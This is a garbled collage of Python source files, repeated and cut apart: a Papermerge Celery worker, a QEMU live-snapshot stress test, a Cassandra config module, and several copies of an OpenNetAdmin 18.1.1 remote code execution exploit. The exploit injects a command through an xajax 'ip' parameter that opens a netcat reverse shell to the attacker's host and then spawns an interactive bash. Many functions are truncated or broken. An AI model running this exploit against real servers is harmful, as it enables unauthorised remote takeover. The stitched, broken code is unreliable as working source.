logger = logging.getLogger(__name__)
celery_app = Celery('papermerge')

def on_event(event):
    task_monitor.save_event(event)

def monitor_events(celery_app):

    with celery_app.connection() as conn:
        recv = celery_app.events.Receiver(
            conn,
            handlers={
                TASK_SENT: on_event,
                TASK_RECEIVED: on_event,
                TASK_STARTED: on_event,
                TASK_SUCCEEDED: on_event,
                TASK_FAILED: on_event,
            }
        )
        recv.capture(limit=None, timeout=None, wakeup=True)

def setup_event_listening(celery_app):
    thread = threading.Thread(target=monitor_events, args=[celery_app])
    thread.daemon = True
    thread.start()

@celery_app.task
def rebuild_the_tree():
    BaseTreeNode.objects.rebuild()

@celery_app.task
def txt2db():
    """
    Move OCRed text from txt files into database
    """
    logger.debug("Celery beat: txt2db")

    for doc in Document.objects.all():
        doc.update_text_field()

def _include_txt2db_task(celery_app_instance, schedule):
    # Calls every :schedule: seconds txt2db

    celery_app_instance.add_periodic_task(
        schedule,  # call this task once in :schedule: seconds
        txt2db.s(),
        name='txt2db'
    )

def _include_rebuid_tree_task(celery_app_instance, schedule):
    # once every :schedule: seconds rebuild the whole tree

    celery_app_instance.add_periodic_task(
        schedule,  # call this task once in :schedule: seconds
        rebuild_the_tree.s(),
        name='rebuild_the_tree'
    )

def setup_periodic_tasks(celery_app_instance, **options):
    """
    ``options`` will have following keys:
        * skip_txt2db :boolean:
        * skip_rebuid :boolean:

    Each of those keys decides weathe to start respective period task.
    Depending on setup, user might want to skip one, two or maybe all four
    period tasks.
    """

    start_txt2db = not options.get("skip_txt2db", False)
    start_rebuild = not options.get("skip_rebuild", False)
    rebui

    txt2db_schedule = options.get("txt2db_schedule")

class Command(BaseCommand):

    help = "Built-in Papermerge worker"

    def add_arguments(self, parser):
        parser.add_argument(
            '--pidfile',
            type=str,
            help='Optional file used to store the process pid.\n'
            'The program won’t start if this file already '
            'exists and the pid is still alive.'
        )

        parser.add_argument(
            '--skip-rebuild',
            action="store_true",
            help="Do not start 'rebuild_the_tree' periodic task."
        )
        parser.add_argument(
            '--rebuild-schedule',
            type=int,
            default=300,
            help="Schedule (in seconds) for 'rebuild_the_tree' periodic task."
            " Default value is 300 seconds."
        )
        parser.add_argument(
            '--skip-txt2db',
            action="store_true",
            help="Do not start 'txt2db' periodic task."
        )
        parser.add_argument(
            '--txt2db-schedule',
            type=int,
            default=64,
            help="Schedule (in seconds) for 'txt2db' periodic task."
            " Default value is 64 seconds."
        )

    def handle(self, *args, **options):
        celery_app.config_from_object(
            'django.conf:settings', namespace='CELERY'
        )
        # Load task modules from all registered Django app configs.
        celery_app.autodiscover_tasks()

        celery_worker = CeleryWorker(
            hostname="localhost",
            app=celery_app,
            beat=True,
            quiet=True,
            task_events=True,  # without this monitoring events won't work
            concurrency=1
        )

        # Set pidfile if it the corresponding argument has been provided
        if options['pidfile']:
            celery_worker.pidfile = options['pidfile']

        setup_periodic_tasks(
            celery_app_instance=celery_app,
            **options
        )
        setup_event_listening(celery_app)

        celery_worker.start()


    logger.debug("Celery beat: txt2db")

    for doc in Document.objects.all():
        doc.update_text_field()

import os
import logging
import threading

from celery import Celery
from celery.apps.worker import Worker as CeleryWorker

from django.core.management.base import BaseCommand
from papermerge.core.models import Document, BaseTreeNode

from papermerge.core.task_monitor import (
    task_monitor,
    TASK_SENT,
    TASK_RECEIVED,
    TASK_STARTED,
    TASK_SUCCEEDED,
    TASK_FAILED
)

logger = logging.getLogger(__name__)
celery_app = Celery('papermerge')

def on_event(event):
    task_monitor.save_event(event)

def monitor_events(celery_app):

    with celery_app.connection() as conn:
        recv = celery_app.events.Receiver(
            conn,
            handlers={
                TASK_SENT: on_event,
                TASK_RECEIVED: on_event,
                TASK_STARTED: on_event,
                TASK_SUCCEEDED: on_event,
                TASK_FAILED: on_event,
            }
        )
        recv.capture(limit=None, timeout=None, wakeup=True)

def setup_event_listening(celery_app):
    thread = threading.Thread(target=monitor_events, args=[celery_app])
    thread.daemon = True
    thread.start()

@celery_app.task
def rebuild_the_tree():
    BaseTreeNode.objects.rebuild()

@celery_app.task
def txt2db():
    """
    Move OCRed text from txt files into database
    """

def _include_txt2db_task(celery_app_instance, schedule):
    # Calls every :schedule: seconds txt2db

    celery_app_instance.add_periodic_task(
        schedule,  # call this task once in :schedule: seconds
        txt2db.s(),
        name='txt2db'
    )

def _include_rebuid_tree_task(celery_app_instance, schedule):
    # once every :schedule: seconds rebuild the whole tree

    celery_app_instance.add_periodic_task(
        schedule,  # call this task once in :schedule: seconds
        rebuild_the_tree.s(),
        name='rebuild_the_tree'
    )

def setup_periodic_tasks(celery_app_instance, **options):
    """
    ``options`` will have following keys:
        * skip_txt2db :boolean:
        * skip_rebuid :boolean:

    Each of those keys decides weathe to start respective period task.
    Depending on setup, user might want to skip one, two or maybe all four
    period tasks.
    """

    start_txt2db = not options.get("skip_txt2db", False)
    start_rebuild = not options.get("skip_rebuild", False)
    rebuild_schedule = options.get("rebuild_schedule")
    txt2db_schedule = options.get("txt2db_schedule")

class Command(BaseCommand):

    help = "Built-in Papermerge worker"

    def add_arguments(self, parser):
        parser.add_argument(
            '--pidfile',
            type=str,
            help='Optional file used to store the process pid.\n'
            'The program won’t start if this file already '
            'exists and the pid is still alive.'
        )

        parser.add_argument(
            '--skip-rebuild',
            action="store_true",
            help="Do not start 'rebuild_the_tree' periodic task."
        )
        parser.add_argument(
            '--rebuild-schedule',
            type=int,
            default=300,
            help="Schedule (in seconds) for 'rebuild_the_tree' periodic task."
            " Default value is 300 seconds."
        )
        parser.add_argument(
            '--skip-txt2db',
            action="store_true",
            help="Do not start 'txt2db' periodic task."
        )
        parser.add_argument(
            '--txt2db-schedule',
            type=int,
            default=64,
            help="Schedule (in seconds) for 'txt2db' periodic task."
            " Default value is 64 seconds."
        )

    def handle(self, *args, **options):
        celery_app.config_from_object(
            'django.conf:settings', namespace='CELERY'
        )
        # Load task modules from all registered Django app configs.
        celery_app.autodiscover_tasks()

        celery_worker = CeleryWorker(
            hostname="localhost",
            app=celery_app,
            beat=True,
            quiet=True,
            task_events=True,  # without this monitoring events won't work
            concurrency=1
        )

        # Set pidfile if it the corresponding argument has been provided
        if options['pidfile']:
            celery_worker.pidfile = options['pidfile']

        setup_periodic_tasks(
            celery_app_instance=celery_app,
            **options
        )
        setup_event_listening(celery_app)

        celery_worker.start()


import logging

from virttest import utils_misc
from virttest import utils_test
from virttest import error_context

from qemu.tests import live_snapshot_basic

class LiveSnapshotStress(live_snapshot_basic.LiveSnapshot):

    def __init__(self, test, params, env, tag):
        super(LiveSnapshotStress, self).__init__(test, params, env, tag)

    @error_context.context_aware
    def load_stress(self):
        """
        load IO/CPU/Memory stress in guest;
        """
        error_context.context("launch stress app in guest", logging.info)
        args = (self.test, self.params, self.env, self.params["stress_test"])
        bg_test = utils_test.BackgroundTest(utils_test.run_virt_sub_test, args)
        bg_test.start()
        if not utils_misc.wait_for(bg_test.is_alive, first=10, step=3, timeout=100):
            self.test.fail("background test start failed")
        if not utils_misc.wait_for(self.stress_app_running, timeout=360, step=5):
            self.test.fail("stress app isn't running")

    @error_context.context_aware
    def unload_stress(self):
        """
        stop stress app
        """
        def _unload_stress():
            session = self.get_session()
            cmd = self.params.get("stop_cmd")
            session.sendline(cmd)
            return not self.stress_app_running()

        error_context.context("stop stress app in guest", logging.info)
        utils_misc.wait_for(_unload_stress, first=2.0,
                            text="wait stress app quit", step=1.0, timeout=120)

    def stress_app_running(self):
        """
        check stress app really run in background;
        """
        session = self.get_session()
        cmd = self.params.get("check_cmd")
        status = session.cmd_status(cmd, timeout=120)
        return status == 0

@error_context.context_aware

"""
    live_snapshot_stress test:
       1). load stress in guest.
       2). do live snapshot during stress.
       3). quit stress app, reboot guest(optional);
       4). verify guest can response correctly.

    :param test: QEMU test object
    :param params: Dictionary with the test parameters
    :param env: Dictionary with test environment.
    """
    tag = params.get("source_image", "image1")
    stress_test = LiveSnapshotStress(test, params, env, tag)
    try:
        stress_test.action_before_start()
        stress_test.create_snapshot()
        stress_test.action_after_finished()
    finally:
        stress_test.clean()


"""
        check stress app really run in background;
        """
        session = self.get_session()
        cmd = self.params.get("check_cmd")
        status = session.cmd_status(cmd, timeout=120)
        return status == 0

import logging

from virttest import utils_misc
from virttest import utils_test
from virttest import error_context

from qemu.tests import live_snapshot_basic

class LiveSnapshotStress(live_snapshot_basic.LiveSnapshot):

    def __init__(self, test, params, env, tag):
        super(LiveSnapshotStress, self).__init__(test, params, env, tag)

    @error_context.context_aware
    def load_stress(self):
        """
        load IO/CPU/Memory stress in guest;
        """
        error_context.context("launch stress app in guest", logging.info)
        args = (self.test, self.params, self.env, self.params["stress_test"])
        bg_test = utils_test.BackgroundTest(utils_test.run_virt_sub_test, args)
        bg_test.start()
        if not utils_misc.wait_for(bg_test.is_alive, first=10, step=3, timeout=100):
            self.test.fail("background test start failed")
        if not utils_misc.wait_for(self.stress_app_running, timeout=360, step=5):
            self.test.fail("stress app isn't running")

    @error_context.context_aware
    def unload_stress(self):
        """
        stop stress app
        """
        def _unload_stress():
            session = self.get_session()
            cmd = self.params.get("stop_cmd")
            session.sendline(cmd)
            return not self.stress_app_running()

        error_context.context("stop stress app in guest", logging.info)
        utils_misc.wait_for(_unload_stress, first=2.0,
                            text="wait stress app quit", step=1.0, timeout=120)

    def stress_app_running(self):

@error_context.context_aware
def run(test, params, env):
    """
    live_snapshot_stress test:
       1). load stress in guest.
       2). do live snapshot during stress.
       3). quit stress app, reboot guest(optional);
       4). verify guest can response correctly.

    :param test: QEMU test object
    :param params: Dictionary with the test parameters
    :param env: Dictionary with test environment.
    """
    tag = params.get("source_image", "image1")
    stress_test = LiveSnapshotStress(test, params, env, tag)
    try:
        stress_test.action_before_start()
        stress_test.create_snapshot()
        stress_test.action_after_finished()
    finally:
        stress_test.clean()


import logging

from virttest import utils_misc
from virttest import utils_test
from virttest import error_context

from qemu.tests import live_snapshot_basic

class LiveSnapshotStress(live_snapshot_basic.LiveSnapshot):

    def __init__(self, test, params, env, tag):
        super(LiveSnapshotStress, self).__init__(test, params, env, tag)

    @error_context.context_aware
    def load_stress(self):
        """
        load IO/CPU/Memory stress in guest;
        """
        error_context.context("launch stress app in guest", logging.info)
        args = (self.test, self.params, self.en

        bg_test = utils_test.BackgroundTest(utils_test.run_virt_sub_test, args)
        bg_test.start()
        if not utils_misc.wait_for(bg_test.is_alive, first=10, step=3, timeout=100):
            self.test.fail("background test start failed")
        if not utils_misc.wait_for(self.stress_app_running, timeout=360, step=5):
            self.test.fail("stress app isn't running")

    @error_context.context_aware
    def unload_stress(self):
        """
        stop stress app
        """
        def _unload_stress():
            session = self.get_session()
            cmd = self.params.get("stop_cmd")
            session.sendline(cmd)
            return not self.stress_app_running()

        error_context.context("stop stress app in guest", logging.info)
        utils_misc.wait_for(_unload_stress, first=2.0,
                            text="wait stress app quit", step=1.0, timeout=120)

    def stress_app_running(self):
        """
        check stress app really run in background;
        """
        session = self.get_session()
        cmd = self.params.get("check_cmd")
        status = session.cmd_status(cmd, timeout=120)
        return status == 0

@error_context.context_aware
def run(test, params, env):
    """
    live_snapshot_stress test:
       1). load stress in guest.
       2). do live snapshot during stress.
       3). quit stress app, reboot guest(optional);
       4). verify guest can response correctly.

    :param test: QEMU test object
    :param params: Dictionary with the test parameters
    :param env: Dictionary with test environment.
    """
    tag = params.get("source_image", "image1")
    stress_test = LiveSnapshotStress(test, params, env, tag)
    try:
        stress_test.action_before_start()
        stress_test.create_snapshot()
        stress_test.action_after_finished()
    finally:
        stress_test.clean()


        def _unload_stress():
            session = self.get_session()
            cmd = self.params.get("stop_cmd")
            session.sendline(cmd)
            return not self.stress_app_running()

        error_context.context("stop stress app in guest", logging.info)
        utils_misc.wait_for(_unload_stress, first=2.0,
                            text="wait stress app quit", step=1.0, timeout=120)

import logging

from virttest import utils_misc
from virttest import utils_test
from virttest import error_context

from qemu.tests import live_snapshot_basic

class LiveSnapshotStress(live_snapshot_basic.LiveSnapshot):

    def __init__(self, test, params, env, tag):
        super(LiveSnapshotStress, self).__init__(test, params, env, tag)

    @error_context.context_aware
    def load_stress(self):
        """
        load IO/CPU/Memory stress in guest;
        """
        error_context.context("launch stress app in guest", logging.info)
        args = (self.test, self.params, self.env, self.params["stress_test"])
        bg_test = utils_test.BackgroundTest(utils_test.run_virt_sub_test, args)
        bg_test.start()
        if not utils_misc.wait_for(bg_test.is_alive, first=10, step=3, timeout=100):
            self.test.fail("background test start failed")
        if not utils_misc.wait_for(self.stress_app_running, timeout=360, step=5):
            self.test.fail("stress app isn't running")

    @error_context.context_aware
    def unload_stress(self):
        """
        stop stress app
        """

    def stress_app_running(self):
        """
        check stress app really run in background;
        """
        session = self.get_session()
        cmd = self.params.get("check_cmd")
        status = session.cmd_status(cmd, timeout=120)
        return status == 0

@error_context.context_aware
def run(test, params, env):
    """
    live_snapshot_stress test:
       1). load stress in guest.
       2). do live snapshot during stress.
       3). quit stress app, reboot guest(optional);
       4). verify guest can response correctly.

    :param test: QEMU test object
    :param params: Dictionary with the test parameters
    :param env: Dictionary with test environment.
    """
    tag = params.get("source_image", "image1")
    stress_test = LiveSnapshotStress(test, params, env, tag)
    try:
        stress_test.action_before_start()
        stress_test.create_snapshot()
        stress_test.action_after_finished()
    finally:
        stress_test.clean()


try:
        stress_test.action_before_start()
        stress_test.create_snapshot()
        stress_test.action_after_finished()
    finally:
        stress_test.clean()

import logging

from virttest import utils_misc
from virttest import utils_test
from virttest import error_context

from qemu.tests import live_snapshot_basic

class LiveSnapshotStress(live_snapshot_basic.LiveSnapshot):

    def __init__(self, test, params, env, tag):
        super(LiveSnapshotStress, self).__init__(test, params, env, tag)

    @error_context.context_aware
    def load_stress(self):
        """
        load IO/CPU/Memory stress in guest;
        """
        error_context.context("launch stress app in guest", logging.info)
        args = (self.test, self.params, self.env, self.params["stress_test"])
        bg_test = utils_test.BackgroundTest(utils_test.run_virt_sub_test, args)
        bg_test.start()
        if not utils_misc.wait_for(bg_test.is_alive, first=10, step=3, timeout=100):
            self.test.fail("background test start failed")
        if not utils_misc.wait_for(self.stress_app_running, timeout=360, step=5):
            self.test.fail("stress app isn't running")

    @error_context.context_aware
    def unload_stress(self):
        """
        stop stress app
        """
        def _unload_stress():
            session = self.get_session()
            cmd = self.params.get("stop_cmd")
            session.sendline(cmd)
            return not self.stress_app_running()

        error_context.context("stop stress app in guest", logging.info)
        utils_misc.wait_for(_unload_stress, first=2.0,
                            text="wait stress app quit", step=1.0, timeout=120)

    def stress_app_running(self):
        """
        check stress app really run in background;
        """
        session = self.get_session()
        cmd = self.params.get("check_cmd")
        status = session.cmd_status(cmd, timeout=120)
        return status == 0

@error_context.context_aware
def run(test, params, env):
    """
    live_snapshot_stress test:
       1). load stress in guest.
       2). do live snapshot during stress.
       3). quit stress app, reboot guest(optional);
       4). verify guest can response correctly.

    :param test: QEMU test object
    :param params: Dictionary with the test parameters
    :param env: Dictionary with test environment.
    """
    tag = params.get("source_image", "image1")
    stress_test = LiveSnapshotStress(test, params, env, tag)


# OpenNetAdmin 18.1.1 - Remote Code Execution
# Exploit author: mattpascoe
# Python script exploit author: Renan Almeida a.k.a. nullarmor <example@nnthink.com>

import argparse
import requests
import sys
import urllib
from pwn import *

def main():
    global proxies

    # args
    argparser = argparse.ArgumentParser(description='OpenNetAdmin 18.1.1 - Remote Code Execution',
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")

    main_arg.add_argument('-h', '--help',
                            help='Show this help menu',
                            action='store_true')

    main_arg.add_argument('--url', type=str,
                            help='Remote host to exploit',
                            required=True)

    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive the reverse shell',
                            required=True)

    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive the reverse shell (default: 4444)',
                            default='4444')

    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable BurpSuite\'s proxy')

    args = argparser.parse_args()

    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)

    # cons
    url = args.url
    lhost = args.lhost
    lport = args.lport
    burpsuite = args.burpsuite

    # proxies
    proxies = { "http": "http://127.0.0.1:8080" }

l.sendline('python3 -c "import pty;pty.spawn(\'/bin/bash\')"')
        l.interactive()

    def exploit():
        global proxies

        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} > /tmp/f".format(lhost, lport)

        params = {
            "xajax": "window_submit",
            "xajaxr": "1574117726710",
            "xajaxargs[]": ["tooltips", 'ip=>;{}'.format(payload), 'ping']
        }

        l = listen(lport)
        l1 = log.progress("Exploiting the OpenNetAdmin web application")

        if burpsuite:
            try:
                r = requests.post(url, data=params, proxies=proxies, timeout=5)
            except:
                l1.success("Success!")
                log.info("Spawning the interactive shell")
                reverse_shell(l)

        else:
            try:
                r = requests.post(url, data=params, timeout=5)

            except:
                l1.success("Success!")
                log.info("Spawning the interactive shell")
                reverse_shell(l)

    # main
    log.info("OpenNetadmin 18.1.1 - Remote Code Execution")
    log.info("Python script exploit author: nullarmor")

    exploit()

if __name__ == '__main__':
    main()


l.sendline('python3 -c "import pty;pty.spawn(\'/bin/bash\')"')
        l.interactive()

# OpenNetAdmin 18.1.1 - Remote Code Execution
# Exploit author: mattpascoe
# Python script exploit author: Renan Almeida a.k.a. nullarmor <example@nnthink.com>

import argparse
import requests
import sys
import urllib
from pwn import *

def main():
    global proxies

    # args
    argparser = argparse.ArgumentParser(description='OpenNetAdmin 18.1.1 - Remote Code Execution',
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")

    main_arg.add_argument('-h', '--help',
                            help='Show this help menu',
                            action='store_true')

    main_arg.add_argument('--url', type=str,
                            help='Remote host to exploit',
                            required=True)

    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive the reverse shell',
                            required=True)

    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive the reverse shell (default: 4444)',
                            default='4444')

    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable BurpSuite\'s proxy')

    args = argparser.parse_args()

    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)

    # cons
    url = args.url
    lhost = args.lhost
    lport = args.lport
    burpsuite = args.burpsuite

    # proxies
    proxies = { "http": "http://127.0.0.1:8080" }

    def reverse_shell(l):

    def exploit():
        global proxies

        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} > /tmp/f".format(lhost, lport)

        params = {
            "xajax": "window_submit",
            "xajaxr": "1574117726710",
            "xajaxargs[]": ["tooltips", 'ip=>;{}'.format(payload), 'ping']
        }

        l = listen(lport)
        l1 = log.progress("Exploiting the OpenNetAdmin web application")

        if burpsuite:
            try:
                r = requests.post(url, data=params, proxies=proxies, timeout=5)
            except:
                l1.success("Success!")
                log.info("Spawning the interactive shell")
                reverse_shell(l)

        else:
            try:
                r = requests.post(url, data=params, timeout=5)

            except:
                l1.success("Success!")
                log.info("Spawning the interactive shell")
                reverse_shell(l)

    # main
    log.info("OpenNetadmin 18.1.1 - Remote Code Execution")
    log.info("Python script exploit author: nullarmor")

    exploit()

if __name__ == '__main__':
    main()


# OpenNetAdmin 18.1.1 - Remote Code Execution
# Exploit author: mattpascoe
# Python script exploit author: Renan Almeida a.k.a. nullarmor <example@nnthink.com>

import argparse
import requests
import sys
import urllib
from pwn import *

def main():
    global proxies

    # args
    argparser = argparse.ArgumentParser(description='OpenNetAdmin 18.1.1 - Remote Code Execution',
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")

    main_arg.add_argument('-h', '--help',
                            help='Show this help menu',
                            action='store_true')

    main_arg.add_argument('--url', type=str,
                            help='Remote host to exploit',
                            required=True)

    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive the reverse shell',
                            required=True)

    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive the reverse shell (default: 4444)',
                            default='4444')

    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable BurpSuite\'s proxy')

    args = argparser.parse_args()

    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)

    # cons
    url = args.url
    lhost = args.lhost
    lport = args.lport
    burpsuit

    # proxies
    proxies = { "http": "http://127.0.0.1:8080" }

    def reverse_shell(l):
        l.sendline('python3 -c "import pty;pty.spawn(\'/bin/bash\')"')
        l.interactive()

    def exploit():
        global proxies

        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} > /tmp/f".format(lhost, lport)

        params = {
            "xajax": "window_submit",
            "xajaxr": "1574117726710",
            "xajaxargs[]": ["tooltips", 'ip=>;{}'.format(payload), 'ping']
        }

        l = listen(lport)
        l1 = log.progress("Exploiting the OpenNetAdmin web application")

        if burpsuite:
            try:
                r = requests.post(url, data=params, proxies=proxies, timeout=5)
            except:
                l1.success("Success!")
                log.info("Spawning the interactive shell")
                reverse_shell(l)

        else:
            try:
                r = requests.post(url, data=params, timeout=5)

            except:
                l1.success("Success!")
                log.info("Spawning the interactive shell")
                reverse_shell(l)

    # main
    log.info("OpenNetadmin 18.1.1 - Remote Code Execution")
    log.info("Python script exploit author: nullarmor")

    exploit()

if __name__ == '__main__':
    main()


try:
                r = requests.post(url, data=params, timeout=5)

            except:
                l1.success("Success!")
                log.info("Spawning the interactive shell")
                reverse_shell(l)

# OpenNetAdmin 18.1.1 - Remote Code Execution
# Exploit author: mattpascoe
# Python script exploit author: Renan Almeida a.k.a. nullarmor <example@nnthink.com>

import argparse
import requests
import sys
import urllib
from pwn import *

def main():
    global proxies

    # args
    argparser = argparse.ArgumentParser(description='OpenNetAdmin 18.1.1 - Remote Code Execution',
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")

    main_arg.add_argument('-h', '--help',
                            help='Show this help menu',
                            action='store_true')

    main_arg.add_argument('--url', type=str,
                            help='Remote host to exploit',
                            required=True)

    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive the reverse shell',
                            required=True)

    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive the reverse shell (default: 4444)',
                            default='4444')

    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable BurpSuite\'s proxy')

    args = argparser.parse_args()

    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)

    # cons
    url = args.url
    lhost = args.lhost
    lport = args.lport
    burpsuite = args.burpsuite

    # proxies
    proxies = { "http": "http://127.0.0.1:8080" }

    def reverse_shell(l):
        l.sendline('python3 -c "import pty;pty.spawn(\'/bin/bash\')"')
        l.interactive()

    def exploit():
        global proxies

        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} > /tmp/f".format(lhost, lport)

        params = {
            "xajax": "window_submit",
            "xajaxr": "1574117726710",
            "xajaxargs[]": ["tooltips", 'ip=>;{}'.format(payload), 'ping']
        }

        l = listen(lport)
        l1 = log.progress("Exploiting the OpenNetAdmin web application")

        if burpsuite:
            try:
                r = requests.post(url, data=params, proxies=proxies, timeout=5)
            except:
                l1.success("Success!")
                log.info("Spawning the interactive shell")
                reverse_shell(l)

        else:

    # main
    log.info("OpenNetadmin 18.1.1 - Remote Code Execution")
    log.info("Python script exploit author: nullarmor")

    exploit()

if __name__ == '__main__':
    main()


def __init__(self, split_count=None, split_size=None, fetch_size=None, consistency_level=None,
                 metrics_enabled=None):

from datetime import timedelta, datetime, date

class _Conf(object):
    @classmethod
    def build(cls, conf=None, **kwargs):
        if conf and kwargs:
            settings = conf.settings()
            settings.update(kwargs)
            return cls(**settings)
        elif conf:
            return conf
        else:
            return cls(**kwargs)

    def settings(self):
        return {k:v for k, v in self.__dict__.items() if v is not None}

    def __str__(self):
        return '%s(%s)' % (
            self.__class__.__name__,
            ', '.join('%s=%s' % (k, v) for k, v in self.settings().items())
        )

class ReadConf(_Conf):

'''
            TODO docstring
        '''
        self.split_count = split_count
        self.split_size = split_size
        self.fetch_size = fetch_size
        self.consistency_level = consistency_level
        self.metrics_enabled = metrics_enabled

class WriteConf(_Conf):
    def __init__(self, batch_size=None, batch_buffer_size=None, batch_grouping_key=None,
                 consistency_level=None, parallelism_level=None, throughput_mibps=None, ttl=None,
                 timestamp=None, metrics_enabled=None):
        '''
            @param batch_size(int):
                The size in bytes to batch up in an unlogged batch of CQL inserts.
                If None given the default size of 16*1024 is used or
                spark.cassandra.output.batch.size.bytes if set.
            @param batch_buffer_size(int):
                The maximum number of batches which are 'pending'.
                If None given the default of 1000 is used.
            @param batch_grouping_key(string):
                The way batches are formed:
                * all: any row can be added to any batch
                * replicaset: rows are batched for replica sets
                * partition: rows are batched by their partition key
                * None: defaults to "partition"
            @param consistency_level(cassandra.ConsistencyLevel):
                The consistency level used in writing to Cassandra.
                If None defaults to LOCAL_ONE or spark.cassandra.output.consistency.level if set.
            @param parallelism_level(int):
                The maximum number of batches written in parallel.
                If None defaults to 8 or spark.cassandra.output.concurrent.writes if set.
            @param throughput_mibps(int):
            @param ttl(int or timedelta):
                The time to live as seconds or timedelta to use for the values.
                If None given no TTL is used.
            @param timestamp(int, date or datetime):
                The timestamp in microseconds, date or datetime to use for the values.
                If None given the Cassandra nodes determine the timestamp.
            @param metrics_enabled(bool):
                Whether to enable task metrics updates.
        '''
        self.batch_size = batch_size
        self.batch_buffer_size = batch_buffer_size
        self.batch_grouping_key = batch_grouping_key
        self.consistency_level = consistency_level
        self.parallelism_level = parallelism_level
        self.throughput_mibps = throughput_mibps

        # convert time delta in ttl in seconds
        if ttl and isinstance(ttl, timedelta):
            ttl = int(ttl.total_seconds())
        self.ttl = ttl

        # convert date or datetime objects to a timestamp in milliseconds since the UNIX epoch
        if timestamp and (isinstance(timestamp, datetime) or isinstance(timestamp, date)):
            timestamp = (timestamp - timestamp.__class__(1970, 1, 1)).total_seconds()
            timestamp = int(timestamp * 1000 * 1000)
        self.timestamp = timestamp

        self.metrics_enabled = metrics_enabled


return {k:v for k, v in self.__dict__.items() if v is not None}

from datetime import timedelta, datetime, date

class _Conf(object):
    @classmethod
    def build(cls, conf=None, **kwargs):
        if conf and kwargs:
            settings = conf.settings()
            settings.update(kwargs)
            return cls(**settings)
        elif conf:
            return conf
        else:
            return cls(**kwargs)

    def settings(self):

    def __str__(self):
        return '%s(%s)' % (
            self.__class__.__name__,
            ', '.join('%s=%s' % (k, v) for k, v in self.settings().items())
        )

class ReadConf(_Conf):
    def __init__(self, split_count=None, split_size=None, fetch_size=None, consistency_level=None,
                 metrics_enabled=None):
        '''
            TODO docstring
        '''
        self.split_count = split_count
        self.split_size = split_size
        self.fetch_size = fetch_size
        self.consistency_level = consistency_level
        self.metrics_enabled = metrics_enabled

class WriteConf(_Conf):
    def __init__(self, batch_size=None, batch_buffer_size=None, batch_grouping_key=None,
                 consistency_level=None, parallelism_level=None, throughput_mibps=None, ttl=None,
                 timestamp=None, metrics_enabled=None):
        '''
            @param batch_size(int):
                The size in bytes to batch up in an unlogged batch of CQL inserts.
                If None given the default size of 16*1024 is used or
                spark.cassandra.output.batch.size.bytes if set.
            @param batch_buffer_size(int):
                The maximum number of batches which are 'pending'.
                If None given the default of 1000 is used.
            @param batch_grouping_key(string):
                The way batches are formed:
                * all: any row can be added to any batch
                * replicaset: rows are batched for replica sets
                * partition: rows are batched by their partition key
                * None: defaults to "partition"
            @param consistency_level(cassandra.ConsistencyLevel):
                The consistency level used in writing to Cassandra.
                If None defaults to LOCAL_ONE or spark.cassandra.output.consistency.level if set.
            @param parallelism_level(int):
                The maximum number of batches written in parallel.
                If None defaults to 8 or spark.cassandra.output.concurrent.writes if set.
            @param throughput_mibps(int):
            @param ttl(int or timedelta):
                The time to live as seconds or timedelta to use for the values.
                If None given no TTL is used.
            @param timestamp(int, date or datetime):
                The timestamp in microseconds, date or datetime to use for the values.
                If None given the Cassandra nodes determine the timestamp.
            @param metrics_enabled(bool):
                Whether to enable task metrics updates.
        '''
        self.batch_size = batch_size
        self.batch_buffer_size = batch_buffer_size
        self.batch_grouping_key = batch_grouping_key
        self.consistency_level = consistency_level
        self.parallelism_level = parallelism_level
        self.throughput_mibps = throughput_mibps

        # convert time delta in ttl in seconds
        if ttl and isinstance(ttl, timedelta):
            ttl = int(ttl.total_seconds())
        self.ttl = ttl

        # convert date or datetime objects to a timestamp in milliseconds since the UNIX epoch
        if timestamp and (isinstance(timestamp, datetime) or isinstance(timestamp, date)):
            timestamp = (timestamp - timestamp.__class__(1970, 1, 1)).total_seconds()
            timestamp = int(timestamp * 1000 * 1000)
        self.timestamp = timestamp

        self.metrics_enabled = metrics_enabled


from datetime import timedelta, datetime, date

class _Conf(object):
    @classmethod
    def build(cls, conf=None, **kwargs):
        if conf and kwargs:
            settings = conf.settings()
            settings.update(kwargs)
            return cls(**settings)
        elif conf:
            return conf
        else:
            return cls(**kwargs)

    def settings(self):
        return {k:v for k, v in self.__dict__.items() if v is not None}

    def __str__(self):
        return '%s(%s)' % (
            self.__class__.__name__,
            ', '.join('%s=%s' % (k, v) for k, v in self.settings().items())
        )

class ReadConf(_Conf):
    def __init__(self, split_count=None, split_size=None, fetch_size=None, consistency_level=None,
                 metrics_enabled=None):
        '''
            TODO docstring
        '''
        self.split_count = split_count
        self.split_size = split_size
        self.fetch_size = fetch_size
        self.consistency_level = consistency_level
        self.metrics_enabled = metrics_enabled

class WriteConf(_Conf):
    def __init__(self, batch_size=None, batch_buffer_size=None, batch_grouping_key=None,
                 consistency_level=None, parallelism_level=None, throughput_mibps=None, ttl=None,
                 timestamp=None, metrics_enabled=None):
        '''
            @param batch_size(int):
                The size in bytes to batch up in an unlogged batch of CQL inserts.
                If None given the default size of 16*1024 is used or
                spark.cassandra.output.batch.size.bytes if set.
            @param batch_buffer_size(int):
                The maximum number of batches which are 'pending'.
                If None given the default of 1000 is used.
